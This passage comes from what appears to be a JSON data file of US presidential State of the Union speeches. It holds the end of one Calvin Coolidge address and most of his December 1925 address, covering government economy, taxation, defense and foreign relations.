their loyalty, but, our duty to\nourselves under our claim that we are an enlightened people requires us to\nuse all our power to protect them from the crime of lynching. Although\nviolence of this kind has very much decreased, while any of it remains we\ncan not justify neglecting to make every effort to eradicate it by law.The education of the colored race under Government encouragement is\nproceeding successfully and ought to have continuing support. An increasing\nneed exists for properly educated and trained medical skill to be devoted\nto the service of this race.INSULAR POSSESSIONSThis Government holds in sacred trusteeship islands which it has acquired\nin the East and West Indies. In all of them the people are more prosperous\nthan at any previous time. A system of good roads, education, and general\ndevelopment is in progress. The people are better governed than ever before\nand generally content.In the Philippine Islands Maj. Gen. Leonard Wood has been Governor General\nfor five years and has administered his office with tact and ability\ngreatly to the success of the Filipino people. These are a proud and\nsensitive race, who are making such progress with our cooperation that we\ncan view the results of this experiment with great satisfaction. As we are\nattempting to assist this race toward self-government, we should look upon\ntheir wishes with great respect, granting their requests immediately when\nthey are right, yet maintaining a frank firmness in refusing when they are\nwrong. We shall measure their progress in no small part by their acceptance\nof the terms of the organic law under which the islands are governed and\ntheir faithful observance of its provisions. Need exists for clarifying the\nduties of the auditor and declaring them to be what everyone had supposed\nthey were. We have placed our own expenditures under the supervision of the\nComptroller General. It is not likely that the expenditures in the\nPhilippine Islands need less supervision than our own. The Governor General\nis hampered in his selection of subordinates by the necessity of securing a\nconfirmation, which has oftentimes driven him to the expediency of using\nArmy officers in work for which civilian experts would be much better\nfitted. Means should be provided for this and such other purposes as he may\nrequire out of the revenue which this Government now turns back to the\nPhilippine treasury.In order that these possessions might stiffer no seeming neglect, I have\nrecently sent Col. Carmi A. Thompson to the islands to make a survey in\ncooperation with the Governor General to suggest what might be done to\nimprove conditions. Later, I may make a more extended report including\nrecommendations. The economic development of the islands is very important.\nThey ought not to be turned back to the people until they are both\npolitically fitted for self-government and economically independent. Large\nareas are adaptable to the production of rubber. No one contemplates any\ntime in the future either under the present or a more independent form of\ngovernment when we should not assume some responsibility for their defense.\nFor their economic advantage, for the employment of their people, and as a\ncontribution to our power of defense which could not be carried on without\nrubber, I believe this industry should be encouraged. It is especially\nadapted to the Filipino people themselves, who might cultivate it\nindividually on a small acreage. It could be carried on extensively by\nAmerican capital in a way to furnish employment at good wages. I am opposed\nto the promotion of any policy that does not provide for absolute freedom\non the part of the wage earners and do not think we should undertake to\ngive power for large holdings of land in the islands against the opposition\nof the people of the locality. Any development of the islands must be\nsolely with the first object of benefiting the people of the islands. At an\nearly day, these possessions should be taken out from under all military\ncontrol and administered entirely on the civil side of government.NATIONAL DEFENSEOur policy of national defense is not one of making war, but of insuring\npeace. The land and sea force of America, both in its domestic and foreign\nimplications, is distinctly a peace force. It is an arm of the police power\nto guarantee order and the execution of the law at home and security to our\ncitizens abroad. No self-respecting nation would neglect to provide an army\nand navy proportionate to its population, the extent of its territory, and\nthe dignity of the place which it occupies in the world. When it is\nconsidered that no navy in the world, with one exception, approaches ours\nand none surpasses it, that our Regular Army of about 115,000 men is the\nequal of any other like number of troops, that our entire permanent and\nreserve land and sea force trained and training consists of a personnel of\nabout 610,000, and that our annual appropriations are about $680,000,000 a\nyear, expended under the direction of an exceedingly competent staff, it\ncan not be said that our country is neglecting its national defense. It is\ntrue that a cult of disparagement exists, but that candid examination made\nby the Congress through its various committees has always reassured the\ncountry and demonstrated that it is maintaining the most adequate defensive\nforces in these present years that it has ever supported in time of peace.This general policy should be kept in effect. Here and there temporary\nchanges may be made in personnel to meet requirements in other directions.\nAttention should be given to submarines, cruisers, and air forces.\nParticular points may need strengthening, but as a whole our military power\nis sufficient.The one weak place in the whole line is our still stupendous war debt. In\nany modern campaign the dollars are the shock troops. With a depleted\ntreasury in the rear, no army can maintain itself in the field. A country\nloaded with debt is a country devoid of the first line of defense. Economy\nis the handmaid of preparedness. If we wish to be able to defend ourselves\nto the full extent of our power in the future, we shall discharge as soon\nas possible the financial burden of the last war. Otherwise we would face a\ncrisis with a part of our capital resources already expended.The amount and kind of our military equipment is preeminently a question\nfor the decision of the Congress, after giving due consideration to the\nadvice of military experts and the available public revenue. Nothing is\nmore laudable than the cooperation of the agricultural and industrial\nresources of the country for the purpose of supplying the needs of national\ndefense. In time of peril the people employed in these interests\nvolunteered in a most self-sacrificing way, often at the nominal charge of\na dollar a year. But the Army and Navy are not supported for the benefit of\nsupply concerns; supply concerns are supported for the benefit of the Army\nand Navy. The distribution of orders on what is needed from different\nconcerns for the purpose of keeping up equipment and organization is\nperfectly justified, but any attempt to prevail upon the Government to\npurchase beyond its needs ought not to be tolerated. It is eminently fair\nthat those who deal with the Government should do so at a reasonable\nprofit. However, public money is expended not that some one may profit by\nit, but in order to serve a public purpose.While our policy of national defense will proceed in order that we may be\nindependent and self-sufficient, I am opposed to engaging in any attempt at\ncompetitive armaments. No matter how much or how little some other country\nmay feel constrained to provide, we can well afford to set the example, not\nof being dictated to by others, but of adopting our own standards. We are\nstrong enough to pursue that method, which will be a most wholesome model\nfor the rest of the world. We are eminently peaceful, but we are by no\nmeans weak. While we submit our differences with others, not to the\nadjudication of force, but of reason, it is not because we are unable to\ndefend our rights. While we are doing our best to eliminate all resort to\nwar for the purpose of settling disputes, we can not but remember that the\npeace we now enjoy had to be won by the sword and that if the rights of our\ncountry are to be defended we can not rely for that purpose upon anyone but\nourselves. We can not shirk the responsibility, which is the first\nrequisite of all government, of preserving its own integrity and\nmaintaining the rights of its own citizens. It is only in accordance with\nthese principles that we can establish any lasting foundations for an\nhonorable and permanent peace.It is for these reasons that our country, like any other country, proposes\nto provide itself with an army and navy supported by a merchant marine. Yet\nthese are not for competition with any other power. For years we have\nbesought nations to disarm. We have recently expressed our willingness at\nGeneva to enter into treaties for the limitation of all types of warships\naccording to the ratio adopted at the Washington Conference. This offer is\nstill pending. While we are and shall continue to be armed it is not as a\nmenace, but rather a common assurance of tranquility to all the peaceloving\npeople of the world. For us to do any less would be to disregard our\nobligations, evade our responsibilities, and jeopardize our national honor.VETERANSThis country, not only because it is bound by honor but because of the\nsatisfaction derived from it, has always lavished its bounty upon its\nveterans. For years a service pension has been bestowed upon the Grand Army\non reaching a certain age. Like provision has been made for the survivors\nof the Spanish War. A liberal future compensation has been granted to all\nthe veterans of the World War. But it is in the case of the, disabled and\nthe dependents that the Government exhibits its greatest solicitude. This\nwork is being well administered by the Veterans' Bureau. The main\nunfinished feature is that of hospitalization. This requirement is being\nrapidly met. Various veteran bodies will present to you recommendations\nwhich should have your careful consideration. At the last session we\nincreased our annual expenditure for pensions and relief on account of the\nveterans of three wars. While I approve of proper relief for all suffering,\nI do not favor any further extension of our pension system at this time.ALIEN PROPERTYWe still have in the possession of the Government the alien property. It\nhas always been the policy of America to hold that private enemy property\nshould not be confiscated in time of war. This principle we have\nscrupulously observed. As this property is security for the claims of our\ncitizens and our Government, we can not relinquish it without adequate\nprovision for their reimbursement. Legislation for the return of this\nproperty, accompanied by suitable provisions for the liquidation of the\nclaims of our citizens and our Treasury, should be adopted. If our\nGovernment releases to foreigners the security which it holds for\nAmericans, it must at the same time provide satisfactory safeguards for\nmeeting American claims.PROHIBITIONThe duly authorized public authorities of this country have made\nprohibition the law of the land. Acting under the Constitution the Congress\nand the legislatures of practically all the, States have adopted\nlegislation for its enforcement. Some abuses have arisen which require\nreform. Under the law the National Government has entrusted to the Treasury\nDepartment the especial duty of regulation and enforcement. Such\nsupplementary legislation as it requires to meet existing conditions should\nbe carefully and speedily enacted. Failure to support the Constitution and\nobserve the law ought not to be tolerated by public opinion. Especially\nthose in public places, who have taken their oath to support the\nConstitution, ought to be most scrupulous in its observance. Officers of\nthe Department of Justice throughout the country should be vigilant in\nenforcing the law, but local authorities, which had always been mainly\nresponsible for the enforcement of law in relation to intoxicating liquor,\nought not to seek evasion by attempting to shift the burden wholly upon the\nFederal agencies. Under the Constitution the States are jointly charged\nwith the Nation in providing for the enforcement of the prohibition\namendment. Some people do not like the amendment, some do not like other\nparts of the Constitution, some do not like any of it. Those who entertain\nsuch sentiments have a perfect right to seek through legal methods for a\nchange. But for any of our inhabitants to observe such parts of the\nConstitution as they like, while disregarding others, is a doctrine that\nwould break down all protection of life and property and destroy the\nAmerican system of ordered liberty.FOREIGN RELATIONSThe foreign policy of this Government is well known. It is one of peace\nbased on that mutual respect that arises from mutual regard for\ninternational rights and the discharge of international obligations. It is\nour purpose to promote understanding and good will between ourselves and\nall other people. The American people are altogether lacking in an\nappreciation of the tremendous good fortune that surrounds their\ninternational position. We have no traditional enemies. We are not\nembarrassed over any disputed territory. We have no possessions that are\ncoveted by others; they have none that are coveted by us. Our borders are\nunfortified. We fear no one; no one fears us. All the world knows that the\nwhole extent of our influence is against war and in favor of peace, against\nthe use of force and in favor of negotiation, arbitration, and adjudication\nas a method of adjusting international differences. We look with disfavor\nupon all aggressive warfare. We are strong enough so that no one can charge\nus with weakness if we are slow to anger. Our place is sufficiently\nestablished so that we need not be sensitive over trifles. Our resources,\nare large enough so that we can afford to be generous. At the same time we\nare a nation among nations and recognize a responsibility not only to\nourselves, but in the interests of a stable and enlightened civilization,\nto protect and defend the international rights of our Government and our\ncitizens.It is because of our historical detachment and the generations of\ncomparative indifference toward it by other nations that our public is\ninclined to consider altogether too seriously the reports that we are\ncriticized abroad. We never had a larger foreign trade than at the present\ntime. Our good offices were never more sought and the necessity for our\nassistance and cooperation was never more universally declared in any time\nof peace. We know that the sentiments which we entertain toward all other\nnations are those of the most sincere friendship and good will and of all\nunbounded desire to help, which we are perfectly willing to have judged by\ntheir fruits. In our efforts to adjust our international obligations we\nhave met with a response which, when everything is considered, I believe\nhistory will record as a most remarkable and gratifying demonstration of\nthe sanctity with which civilized nations undertake to discharge their\nmutual obligations. Debt settlements have been negotiated with practically\nall of those who owed us and all finally adjusted but two, which are, in\nprocess of ratification. When we consider the real sacrifice that will be\nnecessary on the part of other nations, considering all their\ncircumstances, to meet their agreed payments, we ought to hold them in\nincreased admiration and respect. It is true that we have extended to them\nvery generous treatment, but it is also true that they have agreed to repay\nits all that we loaned to them and some interest.A special conference on the Chinese customs tariff provided for by the\ntreaty between the nine powers relating to the Chinese customs tariff\nsigned at Washington on February 6, 1922, was called by the Chinese\nGovernment to meet at Peking, on October 26, 1925. We participated in this\nconference through fully empowered delegates and, with good will,\nendeavored to cooperate with the other participating powers with a view to\nputting into effect promises made to China at the Washington conference,\nand considering any reasonable proposal that might be made by the Chinese\nGovernment for the revision of the treaties on the subject of China's\ntariff. With these aims in view the American delegation at the outset of\nthe conference proposed to put into effect the surtaxes provided for by the\nWashington treaty and to proceed immediately to the negotiation of a\ntreaty, which, among other things, was to make provision for the abolition\nof taxes collected on goods in transit, remove the tariff restrictions in\nexisting treaties, and put into effect the national tariff law of China.Early in April of the present year the central Chinese Government was\nousted from power by opposing warring factions. It became impossible under\nthe circumstances to continue the negotiations. Finally, on July 3, the\ndelegates of the foreign powers, including those of the United States,\nissued a statement expressing their unanimous and earnest desire to proceed\nwith the work of the conference at the earliest possible moment when the\ndelegates of the Chinese Government are in a position to resume discussions\nwith the foreign delegates of the problems before the conference. We are\nprepared to resume the negotiations thus interrupted whenever a Government\nrepresenting the Chinese people and acting on their behalf presents itself.\nThe fact that constant warfare between contending Chinese factions has\nrendered it impossible to bring these negotiations to a successful\nconclusion is a matter of deep regret. Throughout these conflicts we have\nmaintained a position of the most careful neutrality. Our naval vessels in\nAsiatic waters, pursuant to treaty rights, have been used only for the\nprotection of American citizens.Silas H. Strawn, Esq., was sent to China as American commissioner to\ncooperate with commissioners of the other powers in the establishment of a\ncommission to inquire into the present practice of extraterritorial\njurisdiction in China, with a view to reporting to the Governments of the\nseveral powers their findings of fact in regard to these matters. The\ncommission commenced its work in January, 1926, and agreed upon a joint\nreport which was signed on September 16, 1926. The commission's report has\nbeen received and is being studied with a view to determining our future\npolicy in regard to the question of extraterritorial privileges under\ntreaties between the United States and China.The Preparatory Commission for the Disarmament Conference met at Geneva on\nMay 18 and its work has been proceeding almost continuously since that\ndate. It would be premature to attempt to form a judgment as to the\nprogress that has been made. The commission has had before it a\ncomprehensive list of questions touching upon all aspects of the question\nof the limitation of armament. In the commission's discussions many\ndifferences of opinion have developed. However, I am hopeful that at least\nsome measure of agreement will be reached as the discussions continue. The\nAmerican representation on the commission has consistently tried to be\nhelpful, and has kept before it the practical objective to which the\ncommission is working, namely, actual agreements for the limitation of\narmaments. Our representatives will continue their work in that direction.One of the most encouraging features of the commission's work thus far has\nbeen the agreement in principle among the naval experts of a majority of\nthe powers parties to the Washington treaty limiting naval armament upon\nmethods and standards for the comparison and further limitation of naval\narmament. It is needless to say that at the proper time I shall be prepared\nto proceed along practical lines to the conclusion of agreements carrying\nfurther the work begun at the Washington Conference in 1921.DEPARTMENT REPORTSMany important subjects which it is impossible even to mention in the short\nspace of an annual message you will find fully discussed in the\ndepartmental reports. A failure to include them here is not to be taken as\nindicating any lack of interest, but only a disinclination to state\ninadequately what has been much better done in other documents.THE CAPITAL CITYWe are embarking on an ambitious building program for the city of\nWashington. The Memorial Bridge is under way with all that it holds for use\nand beauty. New buildings are soon contemplated. This program should\nrepresent the best that exists in the art and science of architecture. Into\nthese structures which must be considered as of a permanent nature ought to\ngo the aspirations of the Nation, its ideals expressed in forms of beauty.\nIf our country wishes to compete with others, let it not be in the support\nof armaments but in the making of a beautiful capital city. Let it express\nthe soul of America. Whenever an American is at the seat of his Government,\nhowever traveled and cultured he may be, he ought to find a city of stately\nproportion, symmetrically laid out and adorned with the best that there is\nin architecture, which would arouse his imagination and stir his patriotic\npride. In the coming years Washington should be not only the art center of\nour own country but the art center of the world. Around it should center\nall that is best in science, in learning, in letters, and in art. These are\nthe results that justify the creation of those national resources with\nwhich we have been favored.AMERICAN IDEALSAmerica is not and must not be a country without ideals. They are useless\nif they are only visionary; they are only valuable if they are practical. A\nnation can not dwell constantly on the mountain tops. It has to be\nreplenished and sustained through the ceaseless toil of the less inspiring\nvalleys. But its face ought always to be turned upward, its vision ought\nalways to be fixed on high.We need ideals that can be followed in daily life, that can be translated\ninto terms of the home. We can not expect to be relieved from toil, but we\ndo expect to divest it of degrading conditions. Work is honorable; it is\nentitled to an honorable recompense. We must strive mightily, but having\nstriven there is a defect in our political and social system if we are not\nin general rewarded with success. To relieve the land of the burdens that\ncame from the war, to release to the individual more of the fruits of his\nown industry, to increase his earning capacity and decrease his hours of\nlabor, to enlarge the circle of his vision through good roads and better\ntransportation, to lace before him the opportunity for education both in\nscience and in art, to leave him free to receive the inspiration of\nreligion, all these are ideals which deliver him from the servitude of the\nbody and exalt him to the service of the soul. Through this emancipation\nfrom the things that are material, we broaden our dominion over the things\nthat are spiritual.", 
+    "name": "Calvin Coolidge"
+}
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+{
+    "date": "December 8, 1925", 
+    "speech": "Members of the Congress:In meeting the constitutional requirement of informing the Congress upon\nthe state of the Union, it is exceedingly gratifying to report that the\ngeneral condition is one of progress and prosperity. Here and there are\ncomparatively small and apparently temporary difficulties needing\nadjustment and improved administrative methods, such as are always to be\nexpected, but in the fundamentals of government and business the results\ndemonstrate that we are going in the right direction. The country does not\nappear to require radical departures from the policies already adopted so\nmuch as it needs a further extension of these policies and the improvement\nof details. The age of perfection is still in the somewhat distant future,\nbut it is more in danger of being retarded by mistaken Government activity\nthan it is from lack of legislation. We are by far the most likely to\naccomplish permanent good if we proceed with moderation.In our country the people are sovereign and independent, and must accept\nthe resulting responsibilities. It is their duty to support themselves and\nsupport the Government. That is the business of the Nation, whatever the\ncharity of the Nation may require. The functions which the Congress are to\ndischarge are not those of local government but of National Government. The\ngreatest solicitude should be exercised to prevent any encroachment upon\nthe rights of the States or their various political subdivisions. Local\nself-government is one of our most precious possessions. It is the greatest\ncontributing factor to the stability strength liberty, and progress of the\nNation. It ought not to be in ringed by assault or undermined by purchase.\nIt ought not to abdicate its power through weakness or resign its authority\nthrough favor. It does not at all follow that because abuses exist it is\nthe concern of the Federal Government to attempt the r reform.Society is in much more danger from encumbering the National Government\nbeyond its wisdom to comprehend, or its ability to administer, than from\nleaving the local communities to bear their own burdens and remedy their\nown evils. Our local habit and custom is so strong, our variety of race and\ncreed is so great the Federal authority is so tenuous, that the area within\nwhich it can function successfully is very limited. The wiser policy is to\nleave the localities, so far as we can, possessed of their own sources of\nrevenue and charged with their own obligations.GOVERNMENT ECONOMYIt is a fundamental principle of our country that the people are sovereign.\nWhile they recognize the undeniable authority of the state, they have\nestablished as its instrument a Government of limited powers. They hold\ninviolate in their own hands the jurisdiction over their own freedom and\nthe ownership of their own property. Neither of these can be impaired\nexcept by due process of law. The wealth of our country is not public\nwealth, but private wealth. It does not belong to the Government, it\nbelongs to the people. The Government has no justification in taking\nprivate Property except for a public purpose. It is always necessary to\nkeep these principles in mind in the laying of taxes and in the making of\nappropriations. No right exists to levy on a dollar, or to order the\nexpenditure of a dollar, of the money of the people, except for a necessary\npublic purpose duly authorized by the Constitution. The power over the\npurse is the power over liberty.That is the legal limitation within which the Congress can act, How it\nwill, proceed within this limitation is always a question of policy. When\nthe country is prosperous and free from debt, when the rate of taxation is\nlow, opportunity exists for assuming new burdens and undertaking new\nenterprises. Such a condition now prevails only to a limited extent. All\nproposals for assuming new obligations ought to be postponed, unless they\nare reproductive capital investments or are such as are absolutely\nnecessary at this time. We still have an enormous debt of over\n$20,000,000,000, on which the interest and sinking-fund requirements are\n$1,320,000,000. Our appropriations for the Pension Office and the Veterans'\nBureau are $600,000,000. The War and Navy Departments call for\n$642,000,000. Other requirements, exclusive of the Post Office which is\nvirtually self-sustaining, brought the appropriations for the current year\nup to almost $3,100,060,000. This shows an expenditure of close to $30 for\nevery inhabitant of our country. For the average family of five it means a\ntax, directly or indirectly paid, of about $150 for national purposes\nalone. The local tax adds much more. These enormous expenditures ought not\nto be increased, but through every possible effort they ought to be\nreduced.Only one of these great items can be ultimately extinguished. That is the\nitem of our war debt. Already this has been reduced to about\n$6,000,000,000, which means an annual saving in interest of close to\n$250,000,000. The present interest charge is about $820,000,000 yearly. It\nwould seem to be obvious that the sooner this debt can be retired the more\nthe taxpayers will save in interest and the easier it will be to secure\nfunds with which to prosecute needed running expenses, constructions, and\nimprovements. This item of $820,000,000 for interest is a heavy charge on\nall the people of the country, and it seems to me that we might well\nconsider whether it is not greatly worth while to dispense with it as early\nas possible by retiring the principal debt which it is required to serve.It has always been our policy to retire our debts. That of the\nRevolutionary War period, notwithstanding the additions made in 1812, was\npaid by 1835. and the Civil War debt within 23 years. Of the amount already\npaid, over $1,000,000,000 is a reduction in cash balances. That source is\nexhausted. Over one and two-thirds billions of dollars was derived from\nexcess receipts. Tax reduction eliminates that. The sale of surplus war\nmaterials has been another element of our income. That is practically\nfinished. With these eliminated, the reduction of the debt has been only\nabout $500,000,000 each year, not an excessive sum on so large a debt.Proposals have been made to extend the payment over a period of 62 years.\nIf $1,000,000,000 is paid at the end of 20 years, the cost to the taxpayers\nis the principal and, if the interest is 4% per cent, a total of\n$1,850,000,000. If the same sum is paid at the end of 62 years, the cost is\n$3,635,000,000, or almost double. Here is another consideration: Compared\nwith its purchasing power in 1913, the dollar we borrowed represented but\n52 cents. As the value of our dollar increases, due to the falling prices\nof commodities, the burden of our debt increases. It has now risen to 631/2\ncents. The taxpayer will be required to produce nearly twice the amount of\ncommodities to pay his debt if the dollar returns to the 1913 value. The\nmore we pay while prices are high, the easier it will be.Deflation of government after a war period is slower than deflation of\nbusiness, where curtailment is either prompt and effective or disaster\nfollows. There is room for further economy in the cost of the Federal\nGovernment, but a co n of current expenditures with pre-war expenditures is\nnot able to the efficiency with which Government business is now being\ndone. The expenditures of 19161 the last pre-war year, were $742,000,000,\nand in 1925 over $3,500,000,000, or nearly five times as great. If we\nsubtract expenditures for debt retirements and interest, veterans' relief,\nincrease of pensions, and other special outlays, consisting of refunds,\ntrust investments, and like charges, we find that the general expenditures\nof the Government in 1925 were slightly more than twice as large as in\n1916.As prices in 1925 were approximately 40 per cent higher than in 1916, the\ncost of the same Government must also have increased. But the Government is\nnot the same. It is more expensive to collect the much greater revenue\nnecessary and to administer our great debt. We have given enlarged and\nimproved services to agriculture and commerce. Above all, America has grown\nin population and wealth. Government expenditures must always share in\nthis growth. Taking into account the factors I have mentioned, I believe\nthat present Federal expenses are not far out of line with pre-war\nexpenses. We have nearly accomplished the deflation.This does not mean that further economies will not come. As we reduce our\ndebt our interest charges decline. There are many details yet to correct.\nThe real improvement, however, must come not from additional curtailment of\nexpenses, but by a more intelligent, more ordered spending. Our economy\nmust be constructive. While we should avoid as far as possible increases in\npermanent current expenditures, oftentimes a capital outlay like internal\nimprovements will result in actual constructive saving. That is economy in\nits best sense. It is an avoidance of waste that there may be the means for\nan outlay to-day which will bring larger returns to-morrow. We should\nconstantly engage in scientific studies of our future requirements and\nadopt an orderly program for their service. Economy is the method by which\nwe prepare to-day to afford the improvements of to-morrow.A mere policy of economy without any instrumentalities for putting it into\noperation would be very ineffective. The Congress has wisely set up the\nBureau of the Budget to investigate and inform the President what\nrecommendations he ought to make for current appropriations. This gives a\ncentralized authority where a general and comprehensive understanding can\nbe reached of the sources of income and the most equitable distribution of\nexpenditures. How well it has worked is indicated by the fact that the\ndepartmental estimates for 1922, before the budget law, were $4,068,000,000\nwhile the Budget estimates for 1927 are $3,156,000,000. This latter figure\nshows the reductions in departmental estimates for the coming year made\npossible by the operation of the Budget system that the Congress has\nprovided.But it is evidently not enough to have care in making appropriations\nwithout any restraint upon expenditure. The Congress has provided that\ncheck by establishing the office of Comptroller General.The purpose of maintaining the Budget Director and the Comptroller General\nis to secure economy and efficiency in Government expenditure. No better\nmethod has been devised for the accomplishment of that end. These offices\ncan not be administered in all the various details without making some\nerrors both of fact and of judgment. But the important consideration\nremains that these are the instrumentalities of the Congress and that no\nother plan has ever been adopted which was so successful in promoting\neconomy and efficiency. The Congress has absolute authority over the\nappropriations and is free to exercise its judgment, as the evidence may\nwarrant, in increasing or decreasing budget recommendations. But it ought\nto resist every effort to weaken or break down this most beneficial system\nof supervising appropriations and expenditures. Without it all the claim of\neconomy would be a mere pretense.TAXATIONThe purpose of reducing expenditures is to secure a reduction in taxes.\nThat purpose is about to be realized. With commendable promptness the Ways\nand Means Committee of the House has undertaken in advance of the meeting\nof the Congress to frame a revenue act. As the bill has proceeded through\nthe committee it has taken on a nonpartisan character, and both Republicans\nand Democrats have joined in a measure which embodies many sound principles\nof tax reform. The bill will correct substantially the economic defects\ninjected into the revenue act of 1924, as well as many which have remained\nas war-time legacies. In its present form it should provide sufficient\nrevenue for the Government.The excessive surtaxes have been reduced, estate tax rates are restored to\nmore reasonable figures, with every prospect of withdrawing from the field\nwhen the States have had the opportunity to correct the abuses in their own\ninheritance tax laws, the gift tax and publicity section are to be repealed\nmany miscellaneous taxes are lowered or abandoned, and the Board of Tax\nAppeals and the administrative features of the law are improved and\nstrengthened. I approve of the bill in principle. In so far as income-tax\nexemptions are concerned, it seems, to me the committee has gone as far as\nit is Safe to go and somewhat further than I should have gone. Any further\nextension along these lines would, in my opinion, impair the integrity of\nour income-tax system.I am advised that the bill will be through the House by Christmas. For\nthis prompt action the country call thank the good sense of the Ways and\nMeans Committee in framing an economic measure upon economic\nconsiderations. If this attitude continues to be reflected through the\nCongress, the taxpayer will have his relief by the time his March 15th\ninstallment of income taxes is due. Nonpartisan effort means certain, quick\naction. Determination of a revenue law definitely, promptly and solely as a\nrevenue law, is one of the greatest gifts a legislature can bestow upon its\nconstituents. I commend the example of file Ways and Means Committee. If\nfollowed, it will place sound legislation upon the books in time to give\nthe taxpayers the full benefit of tax reduction next year. This means that\nthe bill should reach me prior to March 15.All these economic results are being sought not to benefit the rich, but to\nbenefit the people. They are for the purpose of encouraging industry in\norder that employment may be plentiful. They seek to make business good in\norder that wages may be good. They encourage prosperity in order that\npoverty may be banished from the home. They, seek to lay the foundation\nwhich, through increased production, may, give the people a more bountiful\nsupply of the necessaries of life, afford more leisure for the improvement\nof the mind, the appreciation of the arts of music and literature,\nsculpture and painting, and the beneficial enjoyment of outdoor sports and\nrecreation, enlarge the resources which minister to charity and by all\nthese means attempting to strengthen the spiritual life of the Nation.FOREIGN RELATIONSThe policy of our foreign relations, casting aside any suggestion of force,\nrests solely on the foundation of peace, good will, and good works. We have\nsought, in our intercourse with other nations, better understandings\nthrough conference and exchange of views its befits beings endowed with\nreason. The results have been the gradual elimination of disputes, the\nsettlement of controversies, and the establishment of a firmer friendship\nbetween America and the rest of the world that has ever existed tit any\nprevious time.The example of this attitude has not been without its influence upon other\ncountries. Acting upon it, an adjustment was made of the difficult problem\nof reparations. This was the second step toward peace in Europe. It paved\nthe way for the agreements which were drawn up at the Locarno Conference.\nWhen ratified, these will represent the third step toward peace. While they\ndo not of themselves provide an economic rehabilitation, which is necessary\nfor the progress of Europe, by strengthening the guarantees of peace they\ndiminish the need for great armaments. If the energy which now goes into\nmilitary effort is transferred to productive endeavor it will greatly\nassist economic progress.The Locarno agreements were made by the, European countries directly\ninterested without any formal intervention of America, although on July 3\nI publicly advocated such agreements in an address made in Massachusetts.\nWe have consistently refrained from intervening except when our help has\nbeen sought and we have felt it could be effectively given, as in the\nsettlement of reparations and the London Conference. These recent Locarno\nagreements represent the success of this policy which we have been\ninsisting ought to be adopted, of having European countries settle their\nown political problems without involving this country. This beginning seems\nto demonstrate that this policy is sound. It is exceedingly gratifying to\nobserve this progress, both in its method and in its result promises so\nmuch that is beneficial to the world.When these agreements are finally adopted, they will provide guarantees of\npeace that make the present prime reliance upon force in some parts of\nEurope very much less necessary. The natural corollary to these treaties\nshould be further international contracts for the limitation of armaments.\nThis work was successfully begun at the Washington Conference. Nothing was\ndone at that time concerning land forces because of European objection. Our\nstanding army has been reduced to around 118,000, about the necessary\npolice force for 115,000,000 people. We are not proposing to increase it,\nnor is it supposable that any foreign country looks with the slightest\nmisapprehension upon our land forces. They do not menace anybody. They are\nrather a protection to everybody.The question of disarming upon land is so peculiarly European in its\npractical aspects that our country would look with particular gratitude\nupon any action which those countries might take to reduce their own\nmilitary forces. This is in accordance with our policy of not intervening\nunless the European powers are unable to agree and make request for our\nassistance. Whenever they are able to agree of their own accord it is\nespecially gratifying to its, and such agreements may be sure of our\nsympathetic support.It seems clear that it is the reduction of armies rather than of navies\nthat is of the first importance to the world at the present time. We shall\nlook with great satisfaction upon that effort and give it our approbation\nand encouragement. If that can be settled, we may more easily consider\nfurther reduction and limitation of naval armaments. For that purpose our\ncountry has constantly through its Executive, and through repeated acts of\nCongress, indicated its willingness to call such a conference. Under\ncongressional sanction it would seem to be wise to participate in any\nconference of the great powers for naval limitation of armament proposed\nupon such conditions that it would hold a fair promise of being effective.\nThe general policy of our country is for disarmament, and it ought not to\nhesitate to adopt any practical plan that might reasonably be expected to\nsucceed. But it would not care to attend a conference which from its\nlocation or constituency would in all probability prove futile.In the further pursuit, of strengthening the bonds of peace and good will\nwe have joined with other nations in an international conference held at\nGeneva and signed an agreement which will be laid before the Senate for\nratification providing suitable measures for control and for publicity in\ninternational trade in arms, ammunition, and implements of war, and also\nexecuted a protocol providing for a prohibition of the use of poison gas in\nwar, in accordance with the principles of Article 5 of the treaty relating\nthereto signed at the Washington Conference. We are supporting the Pan\nAmerican efforts that are being made toward the codification of\ninternational law, and looking with sympathy oil the investigations\nconducted under philanthropic auspices of the proposal to agreements\noutlawing war. In accordance with promises made at the Washington\nConference, we have urged the calling of and are now represented at the\nChinese Customs Conference and on the Commission on Extraterritoriality,\nwhere it will be our policy so far as possible to meet the, aspirations of\nChina in all ways consistent with the interests of the countries involved.COURT OF INTERNATIONAL JUSTICEPending before the Senate for nearly three years is the proposal to adhere\nto the protocol establishing the Permanent Court of International Justice.\nA well-established line of precedents mark America's effort to effect the\nestablishment of it court of this nature.. We took a leading part in laying\nthe foundation on which it rests in the establishment of The Hague Court of\nArbitration. It is that tribunal which nominates the judges who are elected\nby the Council and Assembly of the League of Nations.The proposal submitted to the Senate was made dependent upon four\nconditions, the first of which is that by supporting the court we do not\nassume any obligations under the league; second, that we may participate\nupon an equality with other States in the election of judges; third, that\nthe Congress shall determine what part of the expenses we shall bear;\nfourth, that the statute creating the court shall not be amended without\nout consent; and to these I have proposed an additional condition to the\neffect that we are not to be bound by advisory opinions rendered without\nour consent.The court appears to be independent of the league. It is true the judges\nare elected by the Assembly and Council, but they are nominated by the\nCourt of Arbitration, which we assisted to create and of which we are a\npart. The court was created by it statute, so-called, which is really a\ntreaty made among some forty-eight different countries, that might properly\nbe called a constitution of the court. This statute provides a method by\nwhich the judges are chosen so that when the Court of Arbitration\nnominates them and the Assembly and Council of the League elect them, they\nare not acting as instruments of the Court of Arbitration or instruments of\nthe league, but as instruments of the statute.This will be even more apparent if our representatives sit with the members\nof the council and assembly in electing the judges. It is true they are\npaid through the league though not by the league, but by the countries\nwhich are members of the league and by our country if we accept the\nprotocol. The judges are paid by the league only in the same sense that it\ncould be said United States judges are paid by the Congress. The court\nderives all its authority from the statute and is so completely independent\nof the league that it could go on functioning if the league were disbanded,\nat least until the terms of the judges expired.The most careful provisions are made in the statute as to the\nqualifications of judges. Those who make the nominations are recommended to\nconsult with their highest court of justice, their law schools and\nacademies. The judges must be persons of high moral character, qualified to\nhold the highest judicial offices in that country, or be jurisconsults of\nrecognized competence in international law. It must be assumed that these\nrequirements will continue to be carefully met, and with America joining\nthe countries already concerned it is difficult to comprehend how human\ningenuity could better provide for the establishment of a court which would\nmaintain its independence. It has to be recognized that independence is to\na considerable extent a matter of ability, character, and personality. Some\neffort was made in the early beginnings to interfere with the independence\nof our Supreme Court. It did not succeed because of the quality of the men\nwho made up that tribunal.It does not seem that the authority to give advisory opinions interferes\nwith the independence of the court. Advisory opinions in and of themselves\nare not harmful, but may be used in such a way as to be very beneficial\nbecause they undertake to prevent injury rather than merely afford a remedy\nafter the injury has been done. As a principle that only implies that the\ncourt shall function when proper application is made to it. Deciding 